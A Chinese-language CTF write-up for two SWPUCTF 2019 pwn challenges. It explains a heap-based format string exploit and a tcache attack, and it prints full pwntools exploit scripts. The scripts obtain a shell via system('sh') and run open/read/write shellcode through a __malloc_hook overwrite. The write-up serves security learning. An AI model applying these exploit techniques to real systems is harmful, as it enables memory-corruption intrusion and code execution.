SWPUCTF_2019 Pwn Writeup

注意
本文最后更新于 2024-02-12,文中内容可能已过时。

因为明天就是SWPUCTF2020了,所以今天看看去年的题目。 在buuoj上面搜到两道去年的题目:

  1. SWPUCTF_2019_p1KkHeap(tcache attack)
  2. SWPUCTF_2019_login(堆上的格式化字符串漏洞) 第一题是tcache利用,是我没学过的知识点,打算等一下再研究。 所以我先看了第二题,是一个在堆上的格式化字符串漏洞,且可以多次利用,利用方法就是通过栈上已有的地址来控制任意写。

SWPUCTF_2019_login

利用思路:

  1. 命名在栈上的四个指针分别为:ptr1, ptr2,ptr3,ptr4
  2. 其满足条件 *ptr1 == ptr2 && *ptr2 == ptr3 && ptr3 + (2 * 4) == ptr4
  3. 利用ptr1和格式化字符串漏洞改写ptr2,因为似乎只能用%hhn来改写,所以这里只改写末位,指向ptr3。
  4. ptr3是上上层的调用(call)返回地址,利用2的漏洞方法,多次写入ptr3的内容。
  5. ptr4是ptr3 + 8,也就是返回时传入ptr3的第一个参数,我们这里修改ptr3为system,修改ptr4为内容为sh的地址。
  6. ptr4可以修改为写入堆中的地址,这里有两个可以选择,一个是初始进入时候让我们输入的name的那块地址,另一个是读入格式化字符串到堆上的地址。
  7. 退出的时候执行 system(sh)。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#r = process('./SWPUCTF_2019_login')
r = remote('node3.buuoj.cn', 28734)
elf = ELF('./SWPUCTF_2019_login')
context.log_level = "debug"

def getVal(x):
    r.sendlineafter("Try again!", "%" + str(x) + "$p")
    r.recvuntil('0x')
    return int(r.recvuntil('\n', drop=True), 16)

def write(ret_addr, arg):
    cnt = 0
    t = ret_addr
    while t > 0:
        part = t % 0x100
        r.sendlineafter("Try again!", '%' + str(main_stack % 0x100 + cnt) + "c%6$hhn")
        r.sendlineafter("Try again!", '%' + str(part) + "c%10$hhn")
        t /= 0x100
        cnt += 1
    cnt = 8
    t = arg
    while t > 0:
        part = t % 0x100
        r.sendlineafter("Try again!", '%' + str(main_stack % 0x100 + cnt) + "c%6$hhn")
        r.sendlineafter("Try again!", '%' + str(part) + "c%10$hhn")
        t /= 0x100
        cnt += 1

r.sendlineafter("Please input your name: ", "sh\x00")
r.sendlineafter("Please input your password: ", "1")
libc_start_main_addr = getVal(15) - 0xF1
#libc_start_main_addr = getVal(15) - 0xF7
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc_base = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
main_stack = getVal(6) + 0x4
name_chunk = 0x804B080
write(system_addr, name_chunk)
r.sendlineafter("Try again!", "wllmmllw")
r.interactive()

SWPUCTF_2019_p1KkHeap

题目限制:

  1. 只能free 3次
  2. 只能申请小于0x100的chunk
  3. 任何操作只能操作0x12次。
  4. 禁用system等操作函数。
  5. 只能malloc 7次。

利用方法:

  1. tcache leak heap address,用于计算出tcache结构对应的表头指针位置。
  2. unsorted bin leak,用于计算出__malloc_hook的位置
  3. 把shellcode写入0x66660000,利用open,read,write输出。
  4. 改写__malloc_hook为shellcode的位置(0x66660000)。

这里可以学到的操作:

  1. 无法有足够的条件填充tcache的时候该怎么办? 我们知道,当chunk在tcache范围且tcache没有full(< 7),free一个chunk就会优先进入tcache。 但是这道题就是最多只能free 3次,所以就不够用了。 这个解决方法是要利用tcache未对counts进行严格的判定,可以造成下溢出。 当tcache double free的时候,可以多次申请malloc(循环申请)。 这时候每申请一次,对应记录成员数(counts[idx])的位置就会-1。 所以double free之后,再malloc三次,其内容就会从原来的0x2变成0x2 - 0x3 = -1(0xFF),从而造成下溢出,在与7比较的时候,会转换为一个无符号类型,就会变成一个很大的数字。 这时候我们再free的时候,程序判断tcache是否full,就会导致判定得到full,从而跳过了tcache。

  2. double free只能写入一次数据怎么办? 我们知道在fastbin中,如果double free修改过一次fd指针,那么这个循环的单向链表就不存在了(只能利用一次)。 我们一般的解决方法是利用两个fastbin double free。 tcache的机制也和fastbin很相似,但是有个更简单的方法达成多次任意写。 那就是,利用修改tcache结构tcache_perthread_struct中的entries[idx],这个所代表的意义就是链表的头部,每次申请的时候都会从头部申请出chunk,我们利用tcache attack攻击这个位置,这样就可以控制每一次malloc出来的内容了。

而且,tcache 在malloc的时候不检测size的内容是否正确,这一点与fastbin不同(用安全性来换取了速度) 所以当我们控制了这个位置,那么就是可以写入内存中的任意位置,而且没有任何限制,可谓是非常强大啊。

  1. 禁用了system等操作函数怎么办? 利用open,read,write来直接操作flag文件。
  2. open(“flag”)
  3. read(x, buf, len)
  4. write(1, buf, len) 其中在2中的x为open的返回值,可以由调试可知;如果在此之前没有open过其他内容,那么一般是3(stdin,stdout,stderr用了前三个)。 buf位置只要是内存中任意有rw权限的位置即可。 这个shellcode手动来写是比较麻烦的,不过我们可以利用shellcraft中的模块来直接生成,看下面exp。 由于这个shellcode是用syscall来调用的,所以不需要libc基址。 一般来说,这种在程序中有RWX是比较少见的,这种时候就需要想办法手动构造ROP链,按照上述顺序调用。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
#r = process('./SWPUCTF_2019_p1KkHeap')
r = remote('node3.buuoj.cn', 28542)
context(log_level = "debug", arch = "amd64", os = "linux")
def choice(idx):
    r.sendlineafter("Your Choice: ", str(idx))

def add_note(size):
    choice(1)
    r.sendlineafter("size: ", str(size))

def show_note(idx):
    choice(2)
    r.sendlineafter("id: ", str(idx))

def edit_note(idx, content):
    choice(3)
    r.sendlineafter("id: ", str(idx))
    r.sendlineafter("content: ", content)

def delete_note(idx):
    choice(4)
    r.sendlineafter("id: ", str(idx))

add_note(0x88) #0
add_note(0x18) #1

#double free
delete_note(0)
delete_note(0)

add_note(0x88) #2
#leak heap1
show_note(0)
heap1_addr = u64(r.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00'))
log.success("heap1_addr: " + hex(heap1_addr))
attack_addr = heap1_addr - (heap1_addr % 0x1000) + 0x88
log.success("attack_addr: " + hex(attack_addr))

#tcache attack
edit_note(2, p64(attack_addr))

#unsorted bin leak
add_note(0x88) #3
add_note(0x88) #4
delete_note(0) #0
show_note(0)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 96 - 0x10
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
#libc = LibcSearcher("__malloc_hook", malloc_hook_addr)
#libc_base = malloc_hook_addr - libc.dump('__malloc_hook')

#write shellcode
shellcode_addr = 0x66660000
edit_note(4, p64(shellcode_addr))
add_note(0x88) #5
shellcode = shellcraft.open("flag")
shellcode += shellcraft.read(3, shellcode_addr + 0x300, 0x40)
shellcode += shellcraft.write(1, shellcode_addr + 0x300, 0x40)
edit_note(5, asm(shellcode))

#change __malloc_hook
edit_note(4, p64(malloc_hook_addr))
add_note(0x88) #6
edit_note(6, p64(shellcode_addr))

#exec
add_note(0x88)
r.interactive()
0%